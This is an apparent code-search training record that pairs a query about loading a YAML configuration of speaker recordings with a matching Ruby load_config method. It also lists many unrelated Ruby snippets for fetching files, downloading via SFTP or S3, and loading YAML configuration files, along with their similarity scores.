@Context[:RecordedFilesPrepared])\n end\n\n lSymTask = \"Record_#{iEnv}\".to_sym\n\n desc \"Record all files for recording environment #{iEnv}\"\n task lSymTask => lLstFiles + [lSilenceFile]\n\n lLstTasks << lSymTask if (@Context[:LstEnvToRecord].empty?) or (@Context[:LstEnvToRecord].include?(iEnv))\n end\n end\n\n desc 'Record all files'\n task :Record => lLstTasks\n\n lLstGlobalRecordTasks << :Record\n end\n\n # 2. Wave files\n lWaveFilesConf = @RecordConf[:WaveFiles]\n if (lWaveFilesConf != nil)\n # Generate wave files rules\n lLstWaveFiles = []\n lWaveFilesConf[:FilesList].map { |iFileInfo| iFileInfo[:Name] }.each do |iFileName|\n lWaveFileName = getWaveSourceFileName(iFileName)\n if (!File.exists?(iFileName))\n\n desc \"Generate wave file #{iFileName}\"\n file lWaveFileName do |iTask|\n puts \"Create Wave file #{iTask.name}, and press Enter when done.\"\n $stdin.gets\n end\n\n end\n lLstWaveFiles << lWaveFileName\n end\n\n desc 'Generate all wave files'\n task :GenerateWaveFiles => lLstWaveFiles\n\n lLstGlobalRecordTasks << :GenerateWaveFiles\n end\n\n desc 'Generate source files (both recording and Wave files)'\n task :GenerateSourceFiles => lLstGlobalRecordTasks\n\n @Context[:RakeSetupFor_GenerateSourceFiles] = true\n end",
"def current_data\n start_ssh do |ssh|\n return ssh.scp.download!(full_filename)\n end\n end",
"def load_servers\n if File.directory?(cache_directory)\n Dir.entries(cache_directory).each do |server_json|\n server_json = File.join(cache_directory, server_json)\n next unless server_json.end_with?(\".json\")\n next if File.directory?(server_json)\n build_url = JSON.parse(IO.read(server_json))[\"jobs\"].first[\"url\"]\n server(build_url)\n end\n end\n end",
"def account_sources(source)\n get('account/sources', {'source' => source})\n end",
"def pull_files(remote_path,local_path)\n debug_p(\"pull_files from #{remote_path} to #{local_path}\")\n @sftp_session.dir.foreach(remote_path){ |path|\n #unless path.name == \".\" || path.name == \"..\"\n #not directory\n unless /^d/ =~ path.longname\n @sftp_session.download!(remote_path + \"/\" + path.name,local_path + \"/\" + path.name)\n end\n #end\n }\n end",
"def fetch_recordings\n server = self.server(:get_recordings)\n if server.present?\n states = BigbluebuttonRecording::STATES.values\n scope = BigbluebuttonRecording.where(room: self, state: states)\n server.fetch_recordings({ meetingID: self.meetingid, state: states }, scope)\n true\n else\n false\n end\n end",
"def resources\n @resources ||=\n query_service.custom_queries.find_by_property(property: :source_metadata_identifier, value: [], lazy: true).select do |resource|\n id = resource.source_metadata_identifier.first\n next if /99.*3506421/.match?(id)\n next if transform_id(id).length > 18\n RemoteRecord.catalog?(id)\n end.to_a\n end",
"def get_file_source(opts)\n BawWorkers::Validation.check_custom_hash(opts, BawWorkers::Jobs::Analysis::Payload::OPTS_FIELDS)\n\n file_sources = @original_store.existing_paths(opts)\n\n if file_sources.empty?\n possible_sources = @original_store.possible_paths(opts)\n msg = \"No original audio files found in #{possible_sources.join(', ')} using #{opts.to_json}.\"\n @logger.error(@class_name) do msg end\n raise BawAudioTools::Exceptions::AudioFileNotFoundError, msg\n end\n\n File.expand_path(BawWorkers::Validation.normalise_path(file_sources.last, nil))\n end",
"def records\n Importu::Record::Iterator.new(@source.rows, config)\n end",
"def get_paths(id)\n #use ID argument to fetch that particular record.\n #with the help of id fetch the file names from database\n @gprId = Experiment.find(id).microarraygpr_id\n @gpr = Microarraygpr.find(@gprId) \n gpr_title = @gpr.gpr_title\n gpr_dir = @gpr.gpr_dir\n gpr_path = File.join(\"#{Rails.root}\", \"#{gpr_dir}\", \"#{gpr_title}\")\n\n logger.debug \"=======================\" + gpr_path.to_s + \"===========================\"\n\n return gpr_path\n end",
"def get_source_and_collection\n source_uri = N::URI.from_encoded(params[:source])\n collection_uri = N::URI.from_encoded(params[:collection])\n source = TaliaCore::ActiveSource.find(source_uri)\n collection = TaliaCollection.find(collection_uri)\n @source_id = params[:source]\n @source = TaliaSource.find(source.id)\n [ source, collection ]\n end",
"def fetch_user_data\n @username = params[:username]\n @configured_sources = params[:source_ids] || []\n @result_set = Hash.new\n @configured_sources.each do |source|\n feed_result = fetch_feed(source,@username)\n @result_set[source] = feed_result\n end\n \n end",
"def list_files\n [].tap do |files|\n remote_files do |file|\n files << file\n end\n end\n end",
"def sources_list_dl(sources, opts)\n mods = opts.categories ? sources.parse_mods(opts.categories) : nil\n sources.apply_mods(mods) if mods\n\n if opts.download\n Storage.instance.download_sources\n else\n IO.instance.sources_print(sources.sources)\n end\n end",
"def main\n doc = Nokogiri::HTML(open(START_URI))\n dirs_to_search = doc.css('a').map{|x|x[:href]}.grep(%r{/SolaceSounds/SolaceSounds})\n\n streams_to_rip = []\n\n dirs_to_search.each do |dir|\n puts \"Searching #{HOST}#{dir}\"\n\n # don't overwhelm the server\n sleep 1\n\n subdir = Nokogiri::HTML(open(HOST + dir))\n streams_to_grab = subdir.css('a').map{|x|x[:href]}.grep(%r{\\.mp3})\n streams_to_rip.concat(streams_to_grab)\n end\n\n # we've found all of the mp3 streams, now we grab them\n streams_to_rip.each do |url|\n if stream_already_downloaded(url)\n puts \"skipping url: #{url}\"\n next\n end\n rip_stream(url)\n move_ripped_file(url)\n set_mp3_tags(url)\n end\nend",
"def handle_get_request\n files = DataFile.containing(@request.uuid, @request.range)\n records = []\n\n files.each do |file|\n file.records.each do |record|\n records << record if @request.range.cover?(record.time)\n end\n\n file.close\n end\n\n send_data [records.length].pack('L')\n\n records.sort.each do |record|\n send_data [record.time.to_i, record.value].pack('LF')\n end\n end",
"def pull_files(localpath, remotepath, filelist)\n connect!\n filelist.each do |f|\n localdir = File.join(localpath, File.dirname(f))\n FileUtils.mkdir_p localdir unless File.exist?(localdir)\n @connection.get \"#{remotepath}/#{f}\", File.join(localpath, f)\n log \"Pulled file #{remotepath}/#{f}\"\n end\n close!\n end",
"def collect_alma_data( source_dir:, source_file_name:, ingestConf:, options:)\n\n puts \"START COLLECTING\"\n ######################################################################################\n reiresConfJson = File.read(File.join(File.dirname(__FILE__), '../config/config.cfg'))\n reiresConf = JSON.parse(reiresConfJson)\n\n ######################### Dataset and Dataprovider Configuration ######################\n @dataset = ingestConf[\"dataset\"]\n @provider = ingestConf[\"provider\"]\n @license = ingestConf[\"license\"]\n\n @mediaUrlPrefix = ingestConf[\"mediaUrlPrefix\"]\n @same_as_template = ingestConf[\"same_as_template\"]\n\n @metaLanguage = ingestConf[\"metaLanguage\"]\n @unicode_script = ingestConf[\"unicode_script\"]\n @recordLanguage = ingestConf[\"recordLanguage\"]\n @defaulttype =ingestConf[\"defaulttype\"] \n @genericRecordDesc = ingestConf[\"genericRecordDesc\"]\n\n ingestdata = {\n \"provider\" => @provider,\n \"dataset\" => @dataset,\n \"license\" => @license,\n \"name\" => @genericRecordDesc\n }\n @isBasedOn = build_isBasedOn(ingestdata)\n\n #######################################################################################\n @url_prefix = reiresConf[\"url_prefix\"]\n @prefixid = \"#{reiresConf[\"prefixid\"]}_#{ @provider[\"@id\"] }_#{ @dataset[\"@id\"] }\"\n\n # @sdLicense = reiresConf[\"sdLicense\"]\n # @sdPublisher = reiresConf[\"sdPublisher\"]\n #######################################################################################\n\n \n #Link to Limo => bases on institution id\n #same_as_template = \"https://limo.libis.be/primo-explore/search?query=any,contains,<#record_id>&vid=KULeuven&lang=en_US\"\n #Link to Limo => bases on networkzone id (different publishing profile)\n # same_as_template = https://limo.libis.be/primo-explore/fulldisplay?docid=<#record_id>&context=L&vid=KULeuven&search_scope=ALL_CONTENT&tab=all_content_tab&lang=en_US\n\n records_dir = \"#{RECORDS_DIR}/Alma_KULeuven/#{@dataset[\"@id\"]}\"\n \n @counter = 0\n record_count = 0\n \n if options[:full_export] \n log(\"Clear records #{records_dir}/*.json\")\n Dir.glob(\"#{records_dir}/*.json\").each { |file| File.delete(file)}\n else\n log(\"DO NOT CLEAR RECORDS DIR; It is a partial export [#{records_dir}]\")\n end\n\n source_dir = source_dir || SOURCE_RECORDS_DIR\n log(\"SOURCE_RECORDS_DIR : #{ source_dir }\")\n log(\"source_file_name : #{ source_file_name }\")\n \n# filter(data, '$..collection.record').each do |record|\n\n nori = Nori.new(parser: :nokogiri, strip_namespaces: true, convert_tags_to: lambda {|tag| tag.gsub(/^@/, '_')})\n\n Dir[\"#{source_dir}/#{source_file_name}\"].each_with_index do |source_file, index| \n log(\" parsing #{source_file}\")\n timing_start = Time.now\n x = XmlSplit.new(source_file, 'record')\n x.each_with_index { |node,i| \n filter( nori.parse(node) , '$.record').each do |record|\n #@logger.debug(\" ReIReS parser - record : #{record} \")\n ## To debug a large xml-file.\n ## Split the xml-file in smal chunks; 1 json representation per file\n\n=begin\n #if i % 7 == 0\n split_dir = \"/app/records/split_records\"\n unless File.directory?(split_dir)\n FileUtils.mkdir_p(split_dir)\n end\n file_name = \"#{split_dir}/record_#{i}.json\"\n File.open(file_name, 'wb') do |f|\n f.puts record.to_json\n end\n #end\n=end \n #if i.between?(24660 , 24670)\n parse_record( record: record, index: i, records_dir: records_dir)\n #end\n end\n index += 1\n if index % 5000 == 0\n @logger.info(\" ReIReS parser - #{index} records already parsed \") \n end\n }\n record_count += index\n end\n\n####### PARSE A FEW RECORDS !!!!!!!!!!!!!!!!!!######################\n=begin\nfiles =[]\nfiles << \"/app/records/split_records/record_68138.xml\"\nfiles << \"/app/records/split_records/record_15489.xml\"\n###################################################################\nrecords_dir = \"/app/records/Alma_KULeuven/test/\"\nDir.glob(\"#{records_dir}/*.json\").each { |file| File.delete(file)}\n\nfiles.each_with_index do |file,i| \n record = JSON.parse(File.read(file))\n parse_record( record: record, index: 0, records_dir: records_dir)\nend\n=end\n\nend",
"def get_file_listing\n execute!(drive.files.list).data\n end",
"def collectFileInformation(tracks, flavor, startTimes, real_start_time)\n startTimes.each do |file|\n pathToFile = File.join(file[\"filepath\"], file[\"filename\"])\n\n BigBlueButton.logger.info( \"PathToFile: #{pathToFile}\")\n\n if (File.exists?(pathToFile))\n # File Integrity check\n if (!FFMPEG::Movie.new(pathToFile).valid?)\n BigBlueButton.logger.info( \"The file #{pathToFile} is ffmpeg-invalid and won't be ingested\")\n next\n end\n\n tracks.push( { \"flavor\": flavor,\n \"startTime\": file[\"timestamp\"] - real_start_time,\n \"path\": pathToFile\n } )\n end\n end\n\n return tracks\nend",
"def load_files(*sources); end",
"def fetch_data\n parse_data(self.organization.find_data(self.data_path, \n :include => [:url, :name, :description, :picture]))\n end",
"def source_data_set\n get :data_set, PublicEarth::Db::DataSet.for_anonymous(@ip_address, get(:tracking_id, UUIDTools::UUID.random_create.to_s))\n end",
"def extract\n init_kms(@kms_opt)\n\n entries.map do |entry|\n local_file = File.join(@local_path, entry.name)\n logger.info \"Downloading #{entry.pathname} from S3 to #{local_file}\"\n File.open(local_file, 'wb') { |file| entry.raw.get({ response_target: file }.merge(encrypt_args)) }\n local_file\n end\n end",
"def fetch dest=@repo.cache_path\n src = @repo.to_s\n if !File.exists? dest\n FileUtils.mkdir_p(dest+'/')\n end \n receiver = Receiver.new S3_STORE\n puts \"fetching from: #{src} at #{S3_STORE}\"\n receiver.receive src, dest, @threads, &REPORTER\n end",
"def sources\n @_configuration.fetch('sources') { DEFAULT_SOURCES }\n end"
] |
[
"0.6627812",
"0.63842523",
"0.63178474",
"0.6213546",
"0.6194053",
"0.60738885",
"0.58785415",
"0.5864768",
"0.5858369",
"0.58271086",
"0.57969624",
"0.57946855",
"0.5767589",
"0.5754805",
"0.5730557",
"0.5719597",
"0.5674711",
"0.56639427",
"0.5632406",
"0.56231606",
"0.5609986",
"0.559838",
"0.558812",
"0.55584526",
"0.555655",
"0.5551788",
"0.5539692",
"0.55396277",
"0.5528251",
"0.5515246",
"0.5513203",
"0.5509423",
"0.5507163",
"0.5500332",
"0.54972035",
"0.5481318",
"0.5476669",
"0.54711944",
"0.54701054",
"0.5464183",
"0.5462594",
"0.545957",
"0.54584825",
"0.54578805",
"0.5457402",
"0.5456665",
"0.5432621",
"0.54143214",
"0.54116356",
"0.5409266",
"0.54088455",
"0.5387854",
"0.5386626",
"0.538352",
"0.53739464",
"0.5372387",
"0.53710705",
"0.53616744",
"0.534727",
"0.53437215",
"0.5317079",
"0.5313664",
"0.5311978",
"0.5308997",
"0.53019893",
"0.53003174",
"0.5298175",
"0.5298161",
"0.52952164",
"0.52861243",
"0.52770895",
"0.5273929",
"0.52734435",
"0.5257735",
"0.5257621",
"0.52416253",
"0.5239247",
"0.5238613",
"0.52364093",
"0.52349275",
"0.5233731",
"0.52188855",
"0.52142686",
"0.5212221",
"0.52115273",
"0.5210333",
"0.52047527",
"0.5201048",
"0.5201017",
"0.51927614",
"0.51908624",
"0.518433",
"0.5167103",
"0.5166487",
"0.5163841",
"0.5160958",
"0.5153362",
"0.5150521",
"0.5149953",
"0.5140604"
] |
0.6591445
|
1
|
Load configuration from `path`. It should be a YAMLformatted file with this content: `base_uri`: the base URI common to all recordings `base_path`: the base local path common to all recordings `file_pattern`: a pattern to construct each file's name, in `format`'s format. The format may vary yeartoyear. `recordings`: a hash specifying the recordings, with this structure: : : In 2018, the recordings were named `speaker`.
|
def load_config(path)
# Read and parse the YAML configuration file
config = YAML.safe_load(File.read(path))
recordings = []
# Build a hash whose keys are URIs and values are local file paths
# Iterate over the list of each speaker's recordings
config['recordings'].map do |speaker, sessions|
# Iterate over the list of sessions
sessions.map do |session, parts|
# Iterate over the list of session parts
(1..parts).map do |part|
# Assemble a [uri, path] list from the interpolated file name
->(file) do
recordings << %w[uri path].map do |suffix|
File.join(config["base_#{suffix}"], file)
end
end.call(
format(
config['file_pattern'],
{ speaker: speaker, session: session, part: part }
)
)
end
end
end
Hash[recordings]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def parse(path)\n YAML.load(File.read(path))\n end",
"def load_file(path)\n @configuration_data = YAML.load_file(path)[CONFIGURATION_KEY]\n end",
"def load!(path)\n settings = YAML.safe_load(ERB.new(File.new(path).read).result)['api']\n from_hash(settings) if settings.is_a? Hash\n end",
"def parse_file(path)\n begin\n _config = YAML.safe_load(File.read(path))\n rescue StandardError => _e\n str_error=\"Unable to read '#{path}'. Invalid YAML syntax:\\n\"\n\n raise str_error\n end\n end",
"def read_file(path)\r\n YAML::load( File.open(path) )\r\n end",
"def parse_config_file(path)\n return unless File.exists?(path)\n \n conf = YAML::load(ERB.new(IO.read(path)).result)[Rails.env]\n \n conf.each do |key,value|\n self.send(\"#{key}=\", value) if self.respond_to?(\"#{key}=\")\n end unless conf.nil?\n end",
"def process_config_file(path)\n RFlow.logger.info \"Processing config file (#{Dir.getwd}) '#{path}'\"\n load path\n end",
"def load_config_file\n require 'yaml'\n YAML.load_file(@path)\n rescue Errno::ENOENT\n return\n end",
"def load_file(file_path = nil)\n file_path ||= File.expand_path(\"./config.yml\") if File.exists?(\"./config.yml\")\n file_path ||= DEFAULT_CONFIG_PATH\n\n reset\n\n YAML.load_file(file_path).tap do |config|\n @artist = Coerce.string(config[\"artist\"])\n @copyright = Coerce.string(config[\"copyright\"])\n\n (config[\"cameras\"] || []).each do |camera|\n @cameras << Camera.new(camera)\n end\n end\n end",
"def load(path, env)\n yaml_safe_load(File.open(path).read)[env].each do |section, settings|\n section = instance_variable_get(\"@#{section}\")\n next unless section\n settings.each do |setting, value|\n unless section == @index || section == @source\n value = interpolate_string(value, nil)\n end\n setter(section, setting, value)\n end\n end\n end",
"def load_from(path)\n self.configure(Halcyon::Config::File.load(path))\n self\n end",
"def load_from_file(path)\n YAML.load_file(path).each { |n,v| instance_variable_set(n, v) }\n end",
"def load_yaml_file(path)\n if (file = find_data_file(path))\n YAML.load_file(file)\n end\n end",
"def load_config\n input_file_paths =\n YAML.load_file('config/input_file_paths.yml')\n input_file_paths['input_file_paths'].each do |_, input_file_path|\n start input_file_path\n end\n end",
"def load_from(path)\n Halcyon::Config::File.load(path)\n end",
"def parse(file_path)\n settings = YAML.load_file(file_path)\n load(settings[\"client\"])\n end",
"def load!\n if(path)\n if(File.directory?(path))\n conf = Dir.glob(File.join(path, '*')).sort.inject(Smash.new) do |memo, file_path|\n memo.deep_merge(load_file(file_path))\n end\n elsif(File.file?(path))\n conf = load_file(path)\n else\n raise Errno::ENOENT.new path\n end\n conf\n end\n end",
"def load_yaml_files(path)\n each_data_file(path).map { |file| YAML.load_file(file) }\n end",
"def parse_config_file config_path\n File.open(config_path, \"r\") do |file|\n case File.extname(file).delete(\".\")\n when \"json\" then JSON.parse(file.read)\n when \"yml\" then YAML.load_file(file)\n else\n file.close\n raise LoadError, \"Type of file is not supported.\"\n end\n end\n end",
"def load\n config = File.expand_path(@path)\n @settings.deep_merge!(YAML.load_file(config)) if File.exist? config\n @settings\n end",
"def read_config(path)\n if File.file?(path)\n begin\n return YAML.load_file(path)\n rescue Exception => e\n puts \"There was an error reading config file #{path}: #{e.message}\"\n end\n end\n end",
"def config_path=(path)\n config_file = YAML.load_file(path)\n config.merge!(config_file)\n setup_rabbitmq_opts\n rescue Errno::ENOENT => e\n self.host = \"localhost\"\n logger.error \"Could not find a baton configuration file at #{path}\"\n end",
"def load_yaml(path)\n YAML.load_file File.expand_path(\"../#{path}\", File.dirname(__FILE__))\n end",
"def load\n configuration # Need to call this to make sure it's populated\n self.instance_eval(IO.read(path), path, 1) if path && File.exists?(path)\n self\n end",
"def load\n config_files.each do |file|\n config = YAML::load(File.open(file))\n @config.merge! config\n end\n end",
"def load_file(path, recurse=false, &block)\n return load_file(path, recurse, &DEFAULT_LOAD) if recurse && !block_given?\n base = File.directory?(path) ? {} : (YAML.load_file(path) || {})\n \n if recurse\n # determine the files/dirs to load recursively\n # and add them to paths by key (ie the base\n # name of the path, minus any extname)\n paths = {}\n files, dirs = Dir.glob(\"#{path.chomp(File.extname(path))}/*\").partition do |sub_path|\n File.file?(sub_path)\n end\n\n # directories are added to paths first so they can be\n # overridden by the files (appropriate since the file\n # will recursively load the directory if it exists)\n dirs.each do |dir|\n paths[File.basename(dir)] = dir\n end\n\n # when adding files, check that no two files map to\n # the same key (ex a.yml, a.yaml).\n files.each do |filepath|\n key = File.basename(filepath).chomp(File.extname(filepath))\n if existing = paths[key]\n if File.file?(existing)\n confict = [File.basename(paths[key]), File.basename(filepath)].sort\n raise \"multiple files load the same key: #{confict.inspect}\"\n end\n end\n\n paths[key] = filepath\n end\n\n # recursively load each file and reverse merge\n # the result into the base\n paths.each_pair do |key, recursive_path|\n value = load_file(recursive_path, true, &block)\n yield(base, key, value)\n end\n end\n\n base\n end",
"def load_config_from_yaml(path)\n config = load_config(path)\n\n # validate loaded yaml data\n validate_config config\n\n config.each do |key, value|\n Mihari.config.send(\"#{key.downcase}=\".to_sym, value)\n end\n end",
"def initialize(path)\n @data = YAML.load_file(path)\n end",
"def parse_config(config_path)\n begin\n YAML.load(IO.read(config_path))\n rescue StandardError => e\n raise(\"Failed reading configuration from '#{config_path}': '#{e}'\")\n end\n end",
"def load(path, options = {})\n return nil unless path\n config_path = File.join(path, CONFIG_PATH)\n options = options.merge(path: path)\n return new_settings({}, options) unless File.exist?(config_path)\n config = YAML.load_file(config_path) || {}\n new_settings(config, options)\n end",
"def load_config(file_path)\n file = File.read(File.expand_path(file_path, __FILE__))\n yaml = YAML.load(file)\n \n # set new options\n options.keys.each do |option|\n set_option(option, yaml[option]) if !yaml[option].nil?\n end\n \n # set new settings\n settings.keys.each do |setting|\n set(setting, yaml[setting]) if !yaml[setting].nil?\n end\n end",
"def load_config\n path = File.expand_path(@config_path)\n\n if File.exist?(path)\n file = File.new(path, \"r\")\n @config = MultiJson.decode(file.read)\n else\n load_default_config\n end\n end",
"def load_config(config_path = nil)\n path = File.expand_path(config_path || HSS::DEFAULT_CONFIG)\n files = path.split(CONFIG_DELIMITERS).map { |x| YAML.safe_load File.read x }\n @config = files.reverse.reduce(&:deep_merge)\n @patterns = @config.delete('patterns') || raise\n # rubocop:disable Lint/ShadowedException\n rescue Psych::SyntaxError, RuntimeError, Errno::ENOENT\n raise \"Failed to load config: #{config_path}\"\n end",
"def load_yaml\n if has_file? \"#{name}.yml\"\n YAML.load_file(path / \"#{name}.yml\").apply_to self\n end\n end",
"def load_yaml(path, environment = nil)\n env = environment ? environment.to_s : env_name\n\n contents = File.read(path)\n if contents.empty?\n raise Mongoid::Errors::EmptyConfigFile.new(path)\n end\n\n # These are the classes that can be used in a Mongoid\n # configuration file in addition to standard YAML types.\n permitted_classes = [\n # Symbols occur as values for read preference, for example.\n Symbol,\n # BSON::Binary occur as keyId values for FLE (more precisely,\n # the keyIds are UUIDs).\n BSON::Binary,\n ]\n\n result = ERB.new(contents).result\n data = if RUBY_VERSION < '2.6'\n YAML.safe_load(result, permitted_classes, [], true)\n else\n YAML.safe_load(result, permitted_classes: permitted_classes, aliases: true)\n end\n\n unless data.is_a?(Hash)\n raise Mongoid::Errors::InvalidConfigFile.new(path)\n end\n\n data[env]\n end",
"def load\n if File.file?(@file_name)\n File.open(@file_name, 'r') do |file|\n YAML::load(file)\n end\n else\n default\n end\n end",
"def load_conf(*path)\n manager.load_configuration(*path)\n end",
"def config_file(path=nil)\n path ||= DEFAULT_CONFIG_PATH\n\n if File.exist? path then\n cfg = YAML.load(File.open(path))\n # symbolize keys\n cfg = cfg.inject({}){|memo,(k,v)| memo[k.to_sym] = v; memo}\n return cfg\n end\n\n return nil\n end",
"def load!(file_path)\n if File.exist? file_path\n @log = YAML.load(File.read(file_path))\n else\n @log = {}\n end\n end",
"def load_settings(path)\n\n # Load the data files\n Konfig.load_directory(path)\n\n # Load all adapters\n built_in_adapters = File.join(File.dirname(__FILE__), 'adapters', '*.rb')\n require_all built_in_adapters\n\n user_adapters = File.join(path, 'adapters', '*_adapter.rb')\n require_all user_adapters\n\n # Apply the adapters to the data\n Adapter.create_child_instances(Konfig.default_store.data)\n Adapter.send_to_child_instances :adapt\n end",
"def read_yaml(base, name, opts = {})\n filename = @path || site.in_source_dir(base, name)\n Jekyll.logger.debug \"Reading:\", relative_path\n\n begin\n self.content = File.read(filename, **Utils.merged_file_read_opts(site, opts))\n if content =~ Document::YAML_FRONT_MATTER_REGEXP\n self.content = Regexp.last_match.post_match\n self.data = SafeYAML.load(Regexp.last_match(1))\n end\n rescue Psych::SyntaxError => e\n Jekyll.logger.warn \"YAML Exception reading #{filename}: #{e.message}\"\n raise e if site.config[\"strict_front_matter\"]\n rescue StandardError => e\n Jekyll.logger.warn \"Error reading file #{filename}: #{e.message}\"\n raise e if site.config[\"strict_front_matter\"]\n end\n\n self.data ||= {}\n\n validate_data! filename\n validate_permalink! filename\n\n self.data\n end",
"def load\n return unless File.exist? @config_path\n @files = YAML.load_file(@config_path)['files'].collect do |file|\n GistDep::File.load file\n end\n end",
"def load\n yaml = YAML.load_file(@file_path)\n yaml.each {|k, v| interpolate_setting(yaml, v)}\n settings = OpenStruct.new\n add_hash(settings, yaml)\n\n @lock.synchronize do\n @yaml = yaml\n @settings = settings\n end\n rescue\n puts \"Failed to load file: #{@file_path}\\n#{$!}\"\n end",
"def using_yaml_path=(path)\n @using_yaml_path = path && Pathname.new(path)\n end",
"def read_concept_file(path)\n YAML.load(File.read path)\n end",
"def parse(file_path)\n format = File.extname(file_path)\n parsed_config = case format\n when '.json'\n JSON.parse(File.read(file_path))\n when '.yml'\n YAML.load_file(file_path)\n else\n raise UnsupportedFileFormatError, \"format #{format} is unsupported\"\n end\n\n DDSL::SchemaParser.new.parse!(parsed_config)\n end",
"def yaml\n @yaml ||= YAML.load_file path\n rescue StandardError\n {}\n end",
"def read_config_file(config_file_path)\r\n raise HarvesterConfigFileNotFound, \"Config file must exist.\" unless File.exists? config_file_path\r\n YAML.load_file(config_file_path)\r\n end",
"def load_config(path = '.', file_name = 'rare_map.yml')\n raise ConfigNotFoundError unless File.exist? File.join(path, file_name)\n config = YAML.load_file File.join(path, file_name)\n organize_config_properties config['rare_map'] || config || {}\n end",
"def initialize(path, path_type = :full)\n super()\n @ext_name = :yml\n @path_type = path_type\n @path = path\n end",
"def config(path = \"config.yml\")\n @config ||= (begin\n Defaults.update(YAML.load_file('config.yml'))\n rescue Errno::ENOENT\n STDERR.puts \" !! config file not found at: '#{path}'\"\n Defaults\n end)\n end",
"def read_config(path = nil)\n config_results = {}\n config_path = File.join(Sprite.root, path || DEFAULT_CONFIG_PATH)\n begin\n config_results = File.open(config_path) {|f| YAML::load(f)}\n rescue => e\n puts \"Unable to read sprite config: #{Sprite.root+\"/\"+config_path}\"\n puts e.to_s\n end\n config_results\n end",
"def read_config config_path = ''\n return nil if config_path.empty?\n return nil unless File.file?(config_path)\n YAML.safe_load(File.read(config_path))\n end",
"def load_config(path, options = {})\n # Option defaults\n options = options.dup\n if options[:resolve_extensions].nil?\n options[:resolve_extensions] = true\n end\n if not [true, false].include?(options[:resolve_extensions])\n raise \"The :resolve_extensions option must be a boolean value!\"\n end\n if options[:nonexistent_base].nil?\n options[:nonexistent_base] = :ignore\n end\n if not %i[extend ignore].include?(options[:nonexistent_base])\n raise \"The :nonexistent_base option must be one of :ignore or :extend!\"\n end\n options[:data] ||= {}\n if not options[:data].is_a? Hash\n raise \"The :data option must be a Hash!\"\n end\n\n # Load base and local configuration files\n base, config = load_base_config(path, options[:data])\n _, local_config = load_local_config(base, options[:data])\n\n # Merge local configuration\n config.recursive_merge!(local_config)\n\n # Resolve includes\n config = resolve_includes(base, config, options)\n\n # Create config from the result\n cfg = Configuration.new(config)\n\n # Now resolve config hashes that extend other hashes.\n if options[:resolve_extensions]\n cfg.resolve_extensions!(options)\n end\n\n return cfg\n end",
"def read\n @metadata = {}\n @content = File.read(path)\n\n if @content =~ /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n @content = $POSTMATCH\n\n begin\n @metadata = YAML.load($1)\n raise unless @metadata.is_a? Hash\n rescue => ex\n $stderr.puts \"#{File.basename($PROGRAM_NAME)}: #{ex.to_s}\"\n $stderr.puts \"WARNING: Couldn't load metadata.\"\n @metadata = {}\n end\n\n @metadata.symbolize_keys!\n import_metadata\n end\n end",
"def parse_from_file\n parsed_opts = YAML.load_file(config_path)\n parsed_opts.delete_if{|k| k.to_s == 'config_path'}\n parsed_opts.each_pair{|k,v| self[k] = v}\n true\n rescue Errno::ENOENT\n false\n end",
"def load_files(*file_paths)\n files = (site_configs + file_paths).map { |f| Pathname.new(f) }\n\n # Keep only files that exist.\n files.select!(&:file?)\n\n # Load the YAML files into Hashes.\n configs = files.map { |file| YAML.safe_load(file.read) }\n\n # Apply configs.\n load(*configs)\n end",
"def load_config_file( file_name, options = {} )\n options.symbolize_keys!\n content = File.read( config_file_name( file_name ) )\n\n format = options[:format] || File.extname( file_name ).gsub('.','')\n require 'erb'\n\n content = case format.to_s\n when '', 'yml', 'yaml' then YAML.load( ERB.new( content ).result )\n when 'js', 'json' then JSON.load( content )\n when 'rb', 'ruby', 'eval' then eval( content )\n else content\n end if content && format && !options[:raw]\n\n if content.is_a?( Hash )\n content = format_hash_keys( content, options[:key_format] || :stringify )\n content = search_key_chain( content, options )\n end\n\n content\n rescue => e\n log( :info, \"Unable to load #{file_name} for #{format}\" )\n raise( e ) if options[:required]\n nil\n end",
"def load_storage\n YAML.load_file(file_path) || {}\n end",
"def initialize(path, path_type = :full)\n super()\n @ext_name = :yml\n @path_type = path_type\n @original_path = path\n @relative_save_file_path = PathnameManager.new(path, path_type).relative_save_file_path\n end",
"def read_yml_file_base(yml_file)\n YAML.load(read_file_base(yml_file))\n end",
"def read_config_file\n config_path = File.expand_path(File.dirname(__FILE__)+\"/../../\")\n YAML.load_file(\"#{config_path}/config/#{@type}/config.yaml\")\n end",
"def read_config_file(file_path)\n # Look for config file in order of precedence.\n unless file_path\n ['~/.catflap', '/usr/local/etc/catflap', '/etc/catflap'].each do |path|\n file = File.expand_path(path + '/config.yaml')\n if File.readable? file\n file_path = file\n break\n end\n end\n end\n\n YAML.load_file(file_path || './etc/config.yaml')\n end",
"def load_config(filename)\n yml = YAML.load_file(filename)\n yml.each do |key, value| \n next if key == 'Templates'\n\n if key == 'PackageDirs'\n # PackageDirs.register value\n elsif key == 'AppDirs' \n # ApplicationDirMatcher.register value\n else\n app_matcher.register value\n end \n end\n end",
"def load\n @models = []\n\n # \n files = \n if File.directory?(config_path) \n files_in_dir = []\n Dir[config_path + \"/*.yml\"].each do |file|\n files_in_dir << file\n end\n files_in_dir\n elsif File.file?(config_path)\n [config_path]\n else\n nil\n end\n\n return nil if files.nil?\n\n # \n @models = files.inject(@models) do |models, file|\n begin\n yaml = YAML.load_file(file)\n rescue => ex\n logger.debug \"failed in reading yaml (#{file})\"\n next\n end\n if yaml.nil?\n logger.debug \"failed in reading yaml (#{file})\"\n next\n end\n models + yaml2models(yaml)\n end.extend(ArrayMethods)\n end",
"def load_configuration(path = nil)\n # If no path provided, see if we can find one in the dir tree.\n if path.nil?\n path = find_config_path\n end\n\n return false if path.nil?\n return false unless Pathname(path).exist?\n\n unless path.to_s.end_with?('/' + config_filename)\n path = Pathname(path) + config_filename\n end\n\n File.open(path, 'r') do |f|\n self.configuration = YAML.load(f)\n $stdout << \"configuration loaded from #{path}\\n\" if $debug\n end\n\n true\n end",
